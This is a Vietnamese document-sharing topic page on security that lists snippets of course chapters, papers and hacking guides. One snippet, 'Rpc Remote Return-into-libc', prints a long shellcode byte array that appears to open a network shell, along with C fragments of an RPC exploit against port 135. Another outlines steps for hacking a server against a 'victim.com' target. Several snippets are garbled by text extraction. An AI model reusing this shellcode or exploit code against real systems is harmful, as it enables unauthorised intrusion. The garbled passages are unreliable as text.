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Chủ đề : quy tắc bảo mật


Có 40+ tài liệu thuộc chủ đề "quy tắc bảo mật"

Đồ án : Chính sách bảo mật trên windows server 2003

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Nh chúng ta đã bi t khoa h c máy vi tính ngày nay vô cùng phát tri n, do ư ế ọ ể nhu c u trao đ i thông tin tăng lên không ng ng .Ngày nay máy vi tính là m t v t b t ầ ổ ừ ộ ậ ấ kh li thân c a...

Các bước để Hack Server

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Các bước H ac k Server ! http://thegioiebook.com. http://www.networksolutions.com/whois , http://www.arin.net/whois , dig , nslookup Is - d , Sam spade. 1 account có thể bị Crack . Những tool trên , bạn có thể search ở các máy tìm kiếm như http://www.google.com. servubrowse.asp . browsedisk.asp . browsewebalizerexe.asp . sqlbrowse.asp. Trong đó HC có thể là : admin . http://www.victim.com/advwebadmin/stats/st...epath=c:/&Opt=3...

Rpc Remote Return-into-libc

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\x90\x90 before the shellcode replaced with \xcd\x21. "\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90". "\x83\xec\x34\x8b\xf4\xe8\x47\x01\x00\x00\x89\x06\xff\x36\x68\x8e". "\x4e\x0e\xec\xe8\x61\x01\x00\x00\x89\x46\x08\xff\x36\x68\xad\xd9". "\x05\xce\xe8\x52\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00\x00\x68". "\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89\x46\x04". "\xff\x36\x68\x72\xfe\xb3\x16\xe8\x2d\x01\x00\x00\x89\x46\x10\xff". "\x36\x68\xef\xce\xe0\x60\xe8\x1e\x01\x00\x00\x89\x46\x14\xff\x76". "\x04\x68\xcb\xed\xfc\x3b\xe8\x0e\x01\x00\x00\x89\x46\x18\xff\x76". "\x04\x68\xd9\x09\xf5\xad\xe8\xfe\x00\x00\x00\x89\x46\x1c\xff\x76". "\x04\x68\xa4\x1a\x70\xc7\xe8\xee\x00\x00\x00\x89\x46\x20\xff\x76". "\x04\x68\xa4\xad\x2e\xe9\xe8\xde\x00\x00\x00\x89\x46\x24\xff\x76". "\x04\x68\xe5\x49\x86\x49\xe8\xce\x00\x00\x00\x89\x46\x28\xff\x76". "\x04\x68\xe7\x79\xc6\x79\xe8\xbe\x00\x00\x00\x89\x46\x2c\x33\xff". "\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x18\x50". "\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x8b\xd8\x57\x57\x68\x02". "\x00\x1c\x07\x8b\xcc\x6a\x16\x51\x53\xff\x56\x20\x57\x53\xff\x56". "\x24\x57\x51\x53\xff\x56\x28\x8b\xd0\x68\x65\x78\x65\x00\x68\x63". "\x50\x51\x51\x51\x6a\x01\x51\x51\xff\x76\x30\x51\xff\x56\x10\x8b". "\xcc\x6a\xff\xff\x31\xff\x56\x0c\x8b\xc8\x57\xff\x56\x2c\xff\x56". "\x14\x55\x56\x64\xa1\x30\x00\x00\x00\x85\xc0\x78\x0c\x8b\x40\x0c". "\x00\x00\x8b\xc5\x5e\x5d\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24". "\x00\x90\x90\x90\x80\xbf\x32\x94\x80\xbf\x32\x94";. rets.type=0x3000;. rets.prot=0x4;. rets.newprot=0x20;. rets.valloc=targets[id].valloc;. rets.amemcpy=targets[id].amemcpy;. rets.vprot=targets[id].vprot;. fr1.ret=rets.ret1=rets.ret2=targets[id].ret;. fr1.frame0=targets[id].frame;. rets.frame1=fr1.frame0+9*4;. rets.frame2=rets.frame1+6*4;. rets.oldprot=fr1.frame0;. rets.frame3=rets.frame1;. rets.size2=sizeof(shell);. rets.src=fr1.frame0;. rets.dest=0x55555000;. rets.ret3=0x5555506c;. rets.dummy1=rets.dummy2=0xffffffff;. rets.zero=0;. rets.pointer11=fr1.frame0+92;. rets.pointer12=fr1.frame0+96;. rets.pointer21=fr1.frame0+100;. rets.pointer22=fr1.frame0+104;. Connection lost..\n");. printf("%d\t%s\n",i,targets[i].description);. printf("Exploiting %s...\n",argv[1]);. sin.sin_family=AF_INET;. sin.sin_port=htons(135);....

Kỹ thuật tấn công XSS

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Giới thiệu sơ lược về kỹ thuật tấn công XSS trang này đã được đọc lần. Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web....

Các phương pháp xác thực của mạng không dây

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CÁC PH ƯƠ NG PHÁP XÁC TH C Ự C A M NG KHÔNG DÂY Ủ Ạ. L u Huy Thái Bình ư Nguy n Chính Th ng ễ ắ Ph m Minh V ạ ươ ng. Các ph ươ ng pháp xác th c c a m ng không dây ự ủ ạ. M t trong nh ng thành ...

Malware Analysis for the Enterprise jason ross

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Unfortunately, detection of the attack is no longer sufficient to identify the full risk posed by malware. As malware evolves and grows increasingly complex, it is utilizing self-defense mechanisms such as root kit technologies to hide processes from the kernel, disable antivirus software, and block access to security vendor websites and operating system update information.. Faced with these threats, once...

welcome to certified ethical hacker class

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CEH class is NOT a Network Security training program. Please attend EC-Council’s ENSA class for that. CEH class is NOT a Security Analysis training. CEH class is NOT a Security Analysis training program. Please attend EC-Council’s ECSA class for that. CEH class is NOT a Security Testing training program. Please attend EC-Council’s LPT class for that. CEH Class Speed. The...

Ethical hacking and countermeasures

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Ethical Hacking and Countermeasures. Jeffrey wanted to find the vulnerability present in the library’s network and then show the report to the concerned authorities. report to the concerned authorities.. Elements of security. Various phases of the Hacking Cycle. Ethical Hacking. Vulnerability research and tools. Steps for conducting ethical hacking. Importance of security Hacktivism. Elements of security Ethical Hacking. Types of...

Ethical hacking and countermeasures - phần 2

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Mission of (USDOJ) United States Department of Justice is to enforce the law and defend the interests of the United States. (a) Prohibition- It is unlawful for any person, who is not the owner or authorized user of a protected computer, to engage in unfair or deceptive acts or practices that involve any of the following conduct with respect to...

Ethical hacking and countermeasures - phần 3

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Reproduction is Strictly Prohibited Source: http://blogs.zdnet.com/. Domain Name. Domain name lookup. You can gain access to internal. beta.xsecurity.com. customers.xsecurity.com. products.xsecurity.com. Partners.xsecurity.com. Intranet.xsecurity.com. Asia.xsecurity.com. Namerica.xsecurity.com. Samerica.xsecurity.com Japan xsecurity com. Japan.xsecurity.com. London.xsecurity.com. Finance.xsecurity.com. www2.xsecurity.com. www3.xsecurity.com. company’s website since the time it was launched at www.archive.org. For example: www.eccouncil.org. www.archive.org. www.archive.org (cont’d). For example, http://people.yahoo.com, http://www.intellius.com. http://www.bestpeoplesearch.com/. People-Search-America.com. http://www.switchboard.com/. http://www.i2.co.uk/anacubis/. http://finance.google.com/finance http://finance.google.com/finance. www.finance.yahoo.com...

Ethical hacking and countermeasures - phần 4

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Google Hacking. What is Google Hacking. Google Hacking Basics. Google Hacking Tools. Google Hacking Pre-Assessment. Google Hacking Basics Tracking Down Web Servers,. Google Advanced Operators Google Hacking Tools. Google hacking is a term that refers to the art of creating. Google Hacking involves using Google operators to locate specific strings of text within search results p g. Information that the...

Ethical hacking and countermeasures - phần 5

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Stephen comes across an article on hacking on the Internet.. To detect the live systems running on the network y g. To discover the operating system running on the target system. To discover the services running/listening on the target system To discover the services running/listening on the target system. To disco er the IP address of the target s stem...

Ethical hacking and countermeasures - phần 6

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He got user names of several library systems and fortunately one among them was the user name used by one of his friends who was a premium member of the library Now it was easy for Dennis to socially engineer his member of the library. Establishing Null Session. Active Directory Enumeration. Establishing Null Session Enumerating User. Countermeasures Null Session. Countermeasures...

Ethical hacking and countermeasures - phần 7

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Reproduction is Strictly Prohibited Source: http://www.ecommercetimes.com/. Password cracking. Executing applications. Password Cracking. Somehow get access to the communications channel. Typically, LM hash is attacked first Considerations:. Attack against NT hash is much harder than LM hash. Rule-based attack can be used when the cracker gets some information. For example, if the cracker knows that the password consists of the words...

Ethical hacking and countermeasures - phần 8

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Ron extracts the contents of the file and runs the bday.exe and enjoys the flash greeting card.. Different Trojans used in the wild. Malicious users are always on the prowl to sneak into Malicious users are always on the prowl to sneak into networks and create trouble. With the help of a Trojan, an attacker gets access to stored passwords...

Ethical hacking and countermeasures - phần 9

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Source: http://www.foxnews.com. History of Virus. Indications of virus attacks. Life cycle of virus. T f i Symptoms of Virus attack. Types of virus y p. Virus Detection and Defenses Anti-Virus Software. Virus Detection and Defenses Anti Virus Software. Characteristics of a Virus. It does not reside in the memory after the execution of the program. Working of Virus. Working of...

Ethical hacking and countermeasures - phần 10

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Jamal was surprised at his findings during a routine check of the AC ducts in the enterprise.. What can Jamal do to sabotage the network?. Sniffer is a program or device that captures p g p the vital information from the network traffic specific to a particular network. “Passive sniffing” means sniffing through a hub Passive sniffing means sniffing through...

Ethical hacking and countermeasures - phần 11

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Social Engineering. Types of Social Engineering. Social Engineering Threats and Defenses. Countermeasures for Social engineering. Social Engineering Social Engineering Threats and Defenses. Social engineering Identity Theft. What is Social Engineering. Social Engineering is the human side of breaking into a corporate network. What is Social Engineering (cont’d). Social engineering is the tactic or trick of. Social Engineering is the hardest...

Ethical hacking and countermeasures - phần 12

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Phishing Methods Process of Phishing. Types of Phishing Attacks. Anti-phishing Tools. Introduction Process of Phishing. Successful Phishing Attacks. Phishing Methods Anti-phishing Tools. Phishing is an Internet scam where the user is convinced to give valuable information. Phishing will redirect the user to a different website through emails, instant messages, spywares etc.. Phishers offer illegitimate websites to the user to fill...

Ethical hacking and countermeasures - phần 13

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Hacking Email Accounts. Sign-in Seal. Tools Sign-in Seal. Hacking email accounts has become a serious threat. Email accounts are the repositories where people store their private information or even their business data. Due to the widespread use of the Internet techniques and tools hacker can access the user ID and email password p. Social Engineering. Attacker use this information for...